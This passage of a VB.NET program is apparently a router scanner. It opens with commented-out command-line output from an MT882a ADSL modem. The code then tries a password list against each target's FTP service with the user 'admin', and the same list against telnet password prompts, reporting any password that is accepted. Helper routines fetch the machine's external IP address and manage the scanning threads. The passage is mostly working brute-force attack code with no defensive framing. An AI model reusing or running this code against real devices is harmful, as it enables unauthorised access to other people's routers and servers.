2700
'                                Static IP address
2701
'                                WAN IP address        = 0.0.0.0
2702
'                                Remote IP address     = 0.0.0.0
2703
'                                Remote IP subnet mask = 0.0.0.0
2704
'                                Idle timeout = 0
2705
'                                Call scheduling set =   1  1  1  1
2706
'                                Nailed-up connection = off
2707
'                                QOS Type <2:CBR|3:UBR|4:rtVBR|5:nrtVBR|6:GFR> = 0
2708
'                                QOS PCR/SCR/MBS/CDVT =     0,    0,    0,    0
2709
'                                RIP direction <0:none|1:both|2:in|3:out>= 0
2710
'                                RIP version <0:RIP-1|1:RIP-2B|2:RIP-2M> = 0
2711
'                                Multicast <0:IGMP-v2|1:IGMP-v1|2:none>  = 0
2712
'                                Incoming protocol filter set =   1  1  1  1
2713
'                                Incoming device filter set   =   1  1  1  1
2714
'                                Outgoing protocol filter set =   1  1  1  1
2715
'                                Outgoing device filter set   =   1  1  1  1
2716
'                                MT882a> wan node wanip
2717
'                                Usage: wan node wanip <static> <ip address>
2718
'                                or:    wan node wanip <dynamic>
2719
'                                errcode = -4
2720
'                                
2721
2722
2723
2724
2725
							'
2726
'                                MT882a> wan adsl
2727
'                                chandata        close           coding          defbitmap
2728
'                                linedata        open            opencmd         opmode
2729
'                                perfdata        reset           status          version
2730
'                                vendorid        utopia          nearituid       farituid
2731
'                                cellcnt         display         rateadap        dumpcondition
2732
'                                sampletime      noisegt         noisemargin     persisttime
2733
'                                timeinterval    defectcheck     txgain          targetnoise
2734
'                                txfilter        setrvid         txtones         snroffset
2735
'                                errorsecond     diag            watchdog        fwversion
2736
'                                uptime          dumprate        annex
2737
'                                MT882a> wan adsl display
2738
'                                shutdown        rateup
2739
'                                MT882a> wan adsl fwversion
2740
'                                DMT FwVer: 3.11.2.151_A_TC3086 HwVer: T14F7_5.0
2741
'                                
2742
'                                MT882a> wan adsl utopia
2743
'                                UTOPIA parameters:
2744
'                                   level: 1
2745
'                                   fast address: 0
2746
'                                   interleaved address: 1
2747
'                                MT882a> wan adsl coding
2748
'                                line coding: DMT
2749
'                                MT882a> wan adsl txtones
2750
'                                usage: <start tone> <end tone> tone=0x6~0x1F
2751
'                                current value: start_tone=6 end_tone=1f
2752
'                                MT882a> wan adsl opmode
2753
'                                operational mode: ITU G.992.5(ADSL2PLUS)
2754
'                                
2755
'                                MT882a> wan adsl uptime
2756
'                                    ADSL uptime   122:15:16
2757
'                                    MT882a> wan adsl sampletime
2758
'                                    Usage: min
2759
'                                    MT882a> wan adsl linedata
2760
'                                    far             near
2761
'                                    MT882a> wan adsl linedata near
2762
'                                    relative capacity occupation: 100%
2763
'                                    noise margin downstream: 37.0 db
2764
'                                    output power upstream: 11.3 dbm
2765
'                                    attenuation downstream: 13.7 db
2766
'                                    MT882a> wan adsl linedata far
2767
'                                    relative capacity occupation: 100%
2768
'                                    noise margin upstream: 34.5 db
2769
'                                    output power downstream: 19.3 dbm
2770
'                                    attenuation upstream: 9.6 db
2771
'                                    carrier load: number of bits per symbol(tone)
2772
'                                    tone   0- 31: 00 00 00 00 02 25 56 66 66 66 66 66 55 44 43 20
2773
'                                    tone  32- 63: 00 00 00 00 00 00 00 00 00 00 04 34 45 55 54 55
2774
'                                    tone  64- 95: 10 44 53 65 53 05 05 56 66 65 53 65 36 65 66 54
2775
'                                    tone  96-127: 55 65 55 45 55 54 45 45 14 55 41 55 45 55 45 51
2776
'                                    tone 128-159: 54 45 54 55 44 55 55 55 55 45 65 45 45 46 54 56
2777
'                                    tone 160-191: 54 55 45 50 04 00 45 05 05 44 54 54 55 35 40 54
2778
'                                    tone 192-223: 55 55 50 45 05 00 55 00 40 00 00 00 00 00 00 00
2779
'                                    tone 224-255: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
2780
'                                    tone 256-287: 00 00 50 00 00 00 50 00 00 40 00 40 00 00 00 00
2781
'                                    tone 288-319: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
2782
'                                    tone 320-351: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
2783
'                                    tone 352-383: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
2784
'                                    tone 384-415: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
2785
'                                    tone 416-447: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
2786
'                                    tone 448-479: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
2787
'                                    tone 480-511: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
2788
'                                
2789
'                                MT882a> dot1q disp
2790
'                                        802.1Q Tagged-based VLAN: Inactive(1)
2791
'
2792
'                                         Port | PVID   || Port | PVID   || Port | PVID   || Port | PVID   ||
2793
'                                        ------+--------++------+--------++------+--------++------+--------++
2794
'                                           e1 |     1  ||
2795
'                                           p0 |     1  ||   p1 |     1  ||   p2 |     1  ||   p3 |     1  ||
2796
'                                           p4 |     1  ||   p5 |     1  ||   p6 |     1  ||   p7 |     1  ||
2797
'                                            u |     1  ||
2798
'                                          cpu |    15  ||
2799
'
2800
'                                        No|Act| VID|    Name   |        Egress Port
2801
'                                        --+---+----+-----------+------------------------------------------
2802
'                                                               |    Tagged Egress Port
2803
'                                                               +------------------------------------------
2804
'                                         0| N |   0|           |
2805
'                                                               |
2806
'                                         1| N |   0|           |
2807
'                                                               |
2808
'                                         2| N |   0|           |
2809
'                                                               |
2810
'                                         3| N |   0|           |
2811
'                                                               |
2812
'                                         4| N |   0|           |
2813
'                                                               |
2814
'                                         5| N |   0|           |
2815
'                                                               |
2816
'                                         6| N |   0|           |
2817
'                                                               |
2818
'                                         7| N |   0|           |
2819
'                                                               |
2820
'                                         8| N |   0|           |
2821
'                                                               |
2822
'                                         9| N |   0|           |
2823
'                                                               |
2824
'                                        10| N |   0|           |
2825
'                                                               |
2826
'                                        11| N |   0|           |
2827
'                                                               |
2828
'                                        12| N |   0|           |
2829
'                                                               |
2830
'                                        13| N |   0|           |
2831
'                                                               |
2832
'                                        14| Y |   1|     vlan14|e1,u,p0,p1,p2,p3,p4,p5,p6,p7
2833
'                                                               |
2834
'                                        15| Y |  15|     vlan15|e1,u
2835
'                                                               |
2836
'                                
2837
2838
2839
2840
2841
2842
2843
2844
							Sock_scan.Close()
2845
							Exit Try
2846
						End If
2847
					Catch e As Exception
2848
						Console.WriteLine("DEBUG EXCEPTION02: {0} -> " & e.Message, myip)
2849
					End Try
2850
				Next
2851
			Else
2852
				Console.WriteLine("{0} DEBUG no telnet Password: " & banner, myip)
2853
			End If
2854
2855
			'                Sock_scan.Close();
2856
		End Sub
2857
2858
		Public Shared Sub ftptry(myip As String)
2859
			Console.WriteLine("ftptry")
2860
2861
			Dim data As Byte() = New Byte(1023) {}
2862
			Dim stringdata As String
2863
			Dim recv As Integer
2864
2865
			Dim adresseIP As IPAddress = IPAddress.Parse(myip)
2866
			Dim ip As New IPEndPoint(adresseIP, 21)
2867
			Dim Sock_scan As New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
2868
			Sock_scan.Connect(ip)
2869
2870
			recv = Sock_scan.Receive(data)
2871
			Console.WriteLine("Banner ftp: " & Encoding.ASCII.GetString(data, 0, recv))
2872
2873
			For Each password As String In passwords
2874
				Try
2875
					Console.WriteLine("{0} -> USER", myip)
2876
					Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("USER" & Convert.ToChar(32) & "admin" & Convert.ToChar(13) & Convert.ToChar(10)))
2877
					recv = Sock_scan.Receive(data)
2878
					Console.WriteLine("{0} -> Response ftp: " & Encoding.ASCII.GetString(data, 0, recv), myip)
2879
					'331 Please specify the password.
2880
					'331 Enter PASS command
2881
					'331 User name okay, need password.
2882
2883
					Console.WriteLine("{0} -> PASS", myip)
2884
					Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("PASS" & Convert.ToChar(32) & password & Convert.ToChar(13) & Convert.ToChar(10)))
2885
					recv = Sock_scan.Receive(data)
2886
					stringdata = Encoding.ASCII.GetString(data, 0, recv)
2887
					Console.WriteLine("{0} -> Response ftp: " & stringdata, myip)
2888
					'530 Login incorrect.
2889
					'530 Not logged in.
2890
					'530 User admin cannot log in.
2891
					If stringdata.Contains("530") Then
2892
						Console.Write("{0} -> bad ftp password: {1}" & vbLf, myip, password)
2893
					End If
2894
					'230 User logged in, proceed.
2895
					If stringdata.Contains("230") Then
2896
						Console.Write("{0} -> FTP PASSWORD IS: {1}" & vbLf, myip, password)
2897
						Exit Try
2898
2899
					End If
2900
				Catch e As Exception
2901
					Console.WriteLine("{0} -> " & e.Message, myip)
2902
				End Try
2903
			Next
2904
2905
			Sock_scan.Close()
2906
2907
			'
2908
'            FtpWebRequest reqFTP;
2909
'            reqFTP = (FtpWebRequest)FtpWebRequest.Create(new Uri("ftp://" + myip+"/"));
2910
'            reqFTP.Credentials = new NetworkCredential("login", "pass");
2911
'            reqFTP.KeepAlive = false;
2912
'            reqFTP.Method = WebRequestMethods.Ftp.ListDirectory;
2913
'            // On recupere la response du serveur FTP
2914
'            FtpWebResponse response = (FtpWebResponse)reqFTP.GetResponse();
2915
'            Console.WriteLine("{0} -> Réponse FTP:" + response, myip);
2916
'
2917
'        /*
2918
'            // On récupere le flux de la réponse
2919
'            StreamReader monStreamReader = new StreamReader(response.GetResponseStream(), Encoding.Default);
2920
'            //On enregistre la liste dans un chaine
2921
'            string listeBrute = monStreamReader.ReadToEnd();
2922
'            //On recupere l'ensemble des fichiers de la chaine
2923
'            string[] liste = listeBrute.Split(Environment.NewLine.ToCharArray()[0]);
2924
'            //On retourne la liste des répertoires
2925
'            //return liste;
2926
'        
2927
2928
2929
2930
		End Sub
2931
2932
		'
2933
'        public static void ConnectCallback(IAsyncResult ar)
2934
'        {
2935
'            try
2936
'            {
2937
'                // Get The connection socket from the callback
2938
'                Socket sock1 = (Socket)ar.AsyncState;
2939
'                sock1.Blocking = false; // This is a non blocking IO
2940
'                if (sock1.Connected)
2941
'                {
2942
'                    // Define a new Callback to read the data 
2943
'                    AsyncCallback recieveData = new AsyncCallback(OnRecievedData);
2944
'                    // Begin reading data asyncronously
2945
'                    sock1.BeginReceive(m_byBuff, 0, m_byBuff.Length, SocketFlags.None, recieveData, sock1);
2946
'                }
2947
'            }
2948
'            catch (Exception ex)
2949
'            {
2950
'                Console.WriteLine(ex.Message, "Setup Recieve callbackProc failed!");
2951
'            }
2952
'        }
2953
'
2954
2955
2956
		Private Shared Sub ConnectCallback(ar As IAsyncResult)
2957
			Try
2958
2959
				' Retrieve the socket from the state object.
2960
				Dim client As Socket = DirectCast(ar.AsyncState, Socket)
2961
2962
				' Complete the connection.
2963
				client.EndConnect(ar)
2964
2965
				Console.WriteLine("Socket connected to {0}", client.RemoteEndPoint.ToString())
2966
2967
				' Signal that the connection has been made.
2968
				connectDone.[Set]()
2969
2970
					'cpt_th.Decrementer();
2971
				Console.WriteLine("DEBUG ConnectCallback")
2972
			Catch e As Exception
2973
				Console.WriteLine("ERROR ConnectCallback: " & e.ToString())
2974
			End Try
2975
		End Sub
2976
2977
		Private Shared Sub Receive(client As Socket)
2978
			Try
2979
				' Create the state object.
2980
				Dim state As New StateObject()
2981
				state.workSocket = client
2982
2983
				' Begin receiving the data from the remote device.
2984
				client.BeginReceive(state.buffer, 0, StateObject.BufferSize, 0, New AsyncCallback(AddressOf ReceiveCallback), state)
2985
			Catch e As Exception
2986
				Console.WriteLine(e.ToString())
2987
			End Try
2988
		End Sub
2989
2990
		Private Shared Sub ReceiveCallback(ar As IAsyncResult)
2991
			Try
2992
				' Retrieve the state object and the client socket 
2993
				' from the asynchronous state object.
2994
				Dim state As StateObject = DirectCast(ar.AsyncState, StateObject)
2995
				Dim client As Socket = state.workSocket
2996
2997
				' Read data from the remote device.
2998
				Dim bytesRead As Integer = client.EndReceive(ar)
2999
3000
				If bytesRead > 0 Then
3001
					' There might be more data, so store the data received so far.
3002
					state.sb.Append(Encoding.ASCII.GetString(state.buffer, 0, bytesRead))
3003
3004
					' Get the rest of the data.
3005
					client.BeginReceive(state.buffer, 0, StateObject.BufferSize, 0, New AsyncCallback(AddressOf ReceiveCallback), state)
3006
				Else
3007
					' All the data has arrived; put it in response.
3008
					If state.sb.Length > 1 Then
3009
						response = state.sb.ToString()
3010
					End If
3011
					' Signal that all bytes have been received.
3012
					receiveDone.[Set]()
3013
				End If
3014
			Catch e As Exception
3015
				Console.WriteLine(e.ToString())
3016
			End Try
3017
		End Sub
3018
3019
3020
		' State object for receiving data from remote device.
3021
		Public Class StateObject
3022
			' Client socket.
3023
			Public workSocket As Socket = Nothing
3024
			' Size of receive buffer.
3025
			Public Const BufferSize As Integer = 256
3026
			' Receive buffer.
3027
			Public buffer As Byte() = New Byte(BufferSize - 1) {}
3028
			' Received data string.
3029
			Public sb As New StringBuilder()
3030
		End Class
3031
3032
3033
3034
3035
3036
3037
		Private Shared Function ProcessOptions(m_strLineToProcess As Byte()) As String
3038
			Dim m_DISPLAYTEXT As String = ""
3039
			Dim m_strTemp As String = ""
3040
			Dim m_strOption As String = ""
3041
			Dim m_strNormalText As String = ""
3042
			Dim bScanDone As Boolean = False
3043
			Dim ndx As Integer = 0
3044
			Dim ldx As Integer = 0
3045
			Dim ch As Char
3046
			Try
3047
				For i As Integer = 0 To m_strLineToProcess.Length - 1
3048
					Dim ss As [Char] = Convert.ToChar(m_strLineToProcess(i))
3049
					m_strTemp = m_strTemp & Convert.ToString(ss)
3050
				Next
3051
3052
				While bScanDone <> True
3053
					Dim lensmk As Integer = m_strTemp.Length
3054
					ndx = m_strTemp.IndexOf(Convert.ToString(IAC))
3055
					If ndx > lensmk Then
3056
						ndx = m_strTemp.Length
3057
					End If
3058
3059
					If ndx <> -1 Then
3060
						m_DISPLAYTEXT += m_strTemp.Substring(0, ndx)
3061
						ch = m_strTemp(ndx + 1)
3062
						If ch = [DO] OrElse ch = DONT OrElse ch = WILL OrElse ch = WONT Then
3063
							m_strOption = m_strTemp.Substring(ndx, 3)
3064
							Dim txt As String = m_strTemp.Substring(ndx + 3)
3065
							m_DISPLAYTEXT += m_strTemp.Substring(0, ndx)
3066
							m_ListOptions.Add(m_strOption)
3067
							m_strTemp = txt
3068
						ElseIf ch = IAC Then
3069
							m_DISPLAYTEXT = m_strTemp.Substring(0, ndx)
3070
							m_strTemp = m_strTemp.Substring(ndx + 1)
3071
						ElseIf ch = SB Then
3072
							m_DISPLAYTEXT = m_strTemp.Substring(0, ndx)
3073
							ldx = m_strTemp.IndexOf(Convert.ToString(SE))
3074
							m_strOption = m_strTemp.Substring(ndx, ldx)
3075
							m_ListOptions.Add(m_strOption)
3076
							m_strTemp = m_strTemp.Substring(ldx)
3077
						End If
3078
					Else
3079
						m_DISPLAYTEXT = m_DISPLAYTEXT & m_strTemp
3080
						bScanDone = True
3081
					End If
3082
				End While
3083
				m_strNormalText = m_DISPLAYTEXT
3084
			Catch eP As Exception
3085
					'Application.Exit();
3086
				Console.WriteLine(eP.Message, "Application Error!!!")
3087
			End Try
3088
			Return m_strNormalText
3089
		End Function
3090
3091
		Public Shared Sub OnRecievedData(ar As IAsyncResult)
3092
			' Get The connection socket from the callback
3093
			Dim sock As Socket = DirectCast(ar.AsyncState, Socket)
3094
			sock.Blocking = False
3095
			' This is a non blocking IO
3096
			' Get The data , if any
3097
			Dim nBytesRec As Integer = sock.EndReceive(ar)
3098
			If nBytesRec > 0 Then
3099
				Dim sRecieved As String = Encoding.ASCII.GetString(m_byBuff, 0, nBytesRec)
3100
				Dim m_strLine As String = ""
3101
				Dim myline As String = Nothing
3102
				For i As Integer = 0 To nBytesRec - 1
3103
					Dim ch As [Char] = Convert.ToChar(m_byBuff(i))
3104
					Select Case ch
3105
						Case ControlChars.Cr
3106
							m_strLine += Convert.ToString(vbCr & vbLf)
3107
							Exit Select
3108
						Case ControlChars.Lf
3109
							Exit Select
3110
						Case Else
3111
							m_strLine += Convert.ToString(ch)
3112
							Exit Select
3113
					End Select
3114
				Next
3115
				Try
3116
					Dim strLinelen As Integer = m_strLine.Length
3117
					If strLinelen = 0 Then
3118
						m_strLine = Convert.ToString(vbCr & vbLf)
3119
					End If
3120
3121
					Dim mToProcess As [Byte]() = New [Byte](strLinelen - 1) {}
3122
					For i As Integer = 0 To strLinelen - 1
3123
						mToProcess(i) = Convert.ToByte(m_strLine(i))
3124
					Next
3125
					' Process the incoming data
3126
					Dim mOutText As String = ProcessOptions(mToProcess)
3127
					'if (mOutText != "")
3128
					'    textBox1.AppendText(mOutText);
3129
						'Console.WriteLine("Received data: {0}", mOutText);
3130
3131
						' Respond to any incoming commands
3132
						'RespondToOptions();
3133
					myline += mOutText
3134
				Catch ex As Exception
3135
					'Object x = this;
3136
					Console.WriteLine(ex.Message, "Information!")
3137
				End Try
3138
				Console.WriteLine("Received data: {0}", myline)
3139
3140
3141
				If myline.Contains("Password:") Then
3142
					For Each password As String In passwords
3143
						Thread.Sleep(100)
3144
						Try
3145
							'Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes(password + Convert.ToChar(13) + Convert.ToChar(10)));
3146
							sock.Send(System.Text.Encoding.ASCII.GetBytes(password))
3147
							'Thread.Sleep(100);
3148
							Dim data As Byte() = New Byte(1023) {}
3149
							'string banner;
3150
							Dim recv As Integer
3151
							recv = sock.Receive(data)
3152
							Dim stringdata As String = Encoding.ASCII.GetString(data, 0, recv)
3153
							Console.WriteLine("{0} -> Response telnet: " & stringdata)
3154
3155
							'''*
3156
							'strRetPage = null;
3157
							'bytes = Sock_scan.Receive(RecvBytes, RecvBytes.Length, 0);
3158
							'strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);
3159
3160
							'while (bytes > 0)
3161
							'{
3162
							'    bytes = Sock_scan.Receive(RecvBytes, RecvBytes.Length, 0);
3163
							'    strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);
3164
							'}
3165
							'Console.WriteLine("Response telnet: " + strRetPage);
3166
							'*
3167
3168
							'Bad Password!!!
3169
							If stringdata.Contains("*") OrElse stringdata.Contains("Password:") OrElse stringdata.Contains("Bad Password") Then
3170
								Console.Write("{0} -> bad telnet password: {1}" & vbLf, password)
3171
							End If
3172
						Catch e As Exception
3173
							Console.WriteLine("{0} -> " & e.Message)
3174
						End Try
3175
3176
					Next
3177
3178
3179
3180
				End If
3181
			Else
3182
				' If no data was recieved then the connection is probably dead
3183
				Console.WriteLine("Disconnected", sock.RemoteEndPoint)
3184
				sock.Shutdown(SocketShutdown.Both)
3185
				sock.Close()
3186
			End If
3187
		End Sub
3188
3189
		Public Function LocalIPAddress() As String
3190
			Dim host As IPHostEntry
3191
			Dim localIP As String = ""
3192
			host = Dns.GetHostEntry(Dns.GetHostName())
3193
			For Each ip As IPAddress In host.AddressList
3194
				If ip.AddressFamily.ToString() = "InterNetwork" Then
3195
					localIP = ip.ToString()
3196
				End If
3197
			Next
3198
			Return localIP
3199
		End Function
3200
3201
		Public Shared Function GetExternalIp() As IPAddress
3202
			Dim whatIsMyIp As String = "http://www.whatismyip.com/automation/n09230945.asp"
3203
			Dim wc As New WebClient()
3204
			Dim utf8 As New UTF8Encoding()
3205
			Dim requestHtml As String = ""
3206
			Try
3207
				requestHtml = utf8.GetString(wc.DownloadData(whatIsMyIp))
3208
			Catch we As WebException
3209
				' do something with exception
3210
				Console.Write(we.ToString())
3211
			End Try
3212
3213
			Dim externalIp As IPAddress = IPAddress.Parse(requestHtml)
3214
			Return externalIp
3215
		End Function
3216
3217
		Public Shared Function GetExternalIp2() As IPAddress
3218
			Dim client As New WebClient()
3219
3220
			' Add a user agent header in case the requested URI contains a query.
3221
			client.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)")
3222
3223
			Dim baseurl As String = "http://checkip.dyndns.org/"
3224
3225
			Dim data As Stream = client.OpenRead(baseurl)
3226
			Dim reader As New StreamReader(data)
3227
			Dim s As String = reader.ReadToEnd()
3228
			data.Close()
3229
			reader.Close()
3230
			s = s.Replace("<html><head><title>Current IP Check</title></head><body>Current IP Address: ", "").Replace("</body></html>", "").ToString()
3231
3232
			Dim externalIp As IPAddress = IPAddress.Parse(s)
3233
			Return externalIp
3234
		End Function
3235
3236
		Private Sub Lancer_Thread(emetteur As Object)
3237
			'Console.WriteLine("Evenement - Lancer_Thread");
3238
			SyncLock Me
3239
				'    Console.WriteLine("DEBUG PULSE");
3240
				Monitor.Pulse(Me)
3241
			End SyncLock
3242
		End Sub
3243
3244
		Public Class Compteur_thread
3245
			Public Enum Operation
3246
				Incrementer = 1
3247
				Decrementer = 2
3248
				Nb_thread = 3
3249
				Libre = 4
3250
			End Enum
3251
3252
			Private operation As Operation = Operation.Incrementer
3253
3254
			Private compteur As Integer = 0
3255
3256
			Public Delegate Sub Lancer_Thread(emetteur As Object)
3257
3258
			Public Event lancer_thread As Lancer_Thread
3259
3260
			Public Sub Incrementer()
3261
				SyncLock Me
3262
					'    Console.WriteLine("DEBUG INCREMENTER");
3263
					If (operation = Operation.Decrementer) OrElse (operation = Operation.Nb_thread) Then
3264
						Try
3265
							'Console.WriteLine("Incrementer - Monitor.Wait()");
3266
							Monitor.Wait(Me)
3267
						Catch e As SynchronizationLockException
3268
								', "Thread", MessageBoxButtons.OK, MessageBoxIcon.Error);
3269
							Console.WriteLine(e.ToString())
3270
						Catch e As ThreadInterruptedException
3271
								', "Thread", MessageBoxButtons.OK, MessageBoxIcon.Error);
3272
							Console.WriteLine(e.ToString())
3273
						End Try
3274
					End If
3275
3276
					'Console.WriteLine("Incrementer");
3277
3278
					operation = Operation.Incrementer
3279
					compteur += 1
3280
3281
					Monitor.Pulse(Me)
3282
					operation = Operation.Libre
3283
				End SyncLock
3284
			End Sub
3285
3286
			Public Sub Decrementer()
3287
				SyncLock Me
3288
					'    Console.WriteLine("DEBUG DECREMENTER");
3289
					If (operation = Operation.Incrementer) OrElse (operation = Operation.Nb_thread) Then
3290
						Try
3291
							'Console.WriteLine("decrementer - Monitor.Wait()");
3292
							Monitor.Wait(Me)
3293
						Catch e As SynchronizationLockException
3294
								', "Thread", MessageBoxButtons.OK, MessageBoxIcon.Error);
3295
							Console.WriteLine(e.ToString())
3296
						Catch e As ThreadInterruptedException
3297
								', "Thread", MessageBoxButtons.OK, MessageBoxIcon.Error);
3298
							Console.WriteLine(e.ToString())
3299
						End Try
3300
					End If
3301
					'Console.WriteLine("decrementer");
3302
3303
					operation = Operation.Decrementer
3304
					compteur -= 1
3305
3306
					RaiseEvent lancer_thread(Me)
3307
3308
					Monitor.Pulse(Me)
3309
					operation = Operation.Libre
3310
				End SyncLock
3311
			End Sub
3312
3313
			Public Sub Nb_thread(ByRef nb As Integer)
3314
				SyncLock Me
3315
					'    Console.WriteLine("DEBUG NB_THREAD");
3316
					If (operation = Operation.Incrementer) OrElse (operation = Operation.Decrementer) Then
3317
						Try
3318
							'Console.WriteLine("Nb_thread - Monitor.Wait()");
3319
							Monitor.Wait(Me)
3320
						Catch e As SynchronizationLockException
3321
								', "Thread", MessageBoxButtons.OK, MessageBoxIcon.Error);
3322
							Console.WriteLine(e.ToString())
3323
						Catch e As ThreadInterruptedException
3324
								', "Thread", MessageBoxButtons.OK, MessageBoxIcon.Error);
3325
							Console.WriteLine(e.ToString())
3326
						End Try
3327
					End If
3328
3329
					'Console.WriteLine("Nb_Thread classe");
3330
3331
					operation = Operation.Nb_thread
3332
					nb = compteur
3333
3334
					Monitor.Pulse(Me)
3335
					operation = Operation.Libre
3336
				End SyncLock
3337
			End Sub
3338
		End Class
3339
3340
	End Class
3341
3342
3343
3344
End Namespace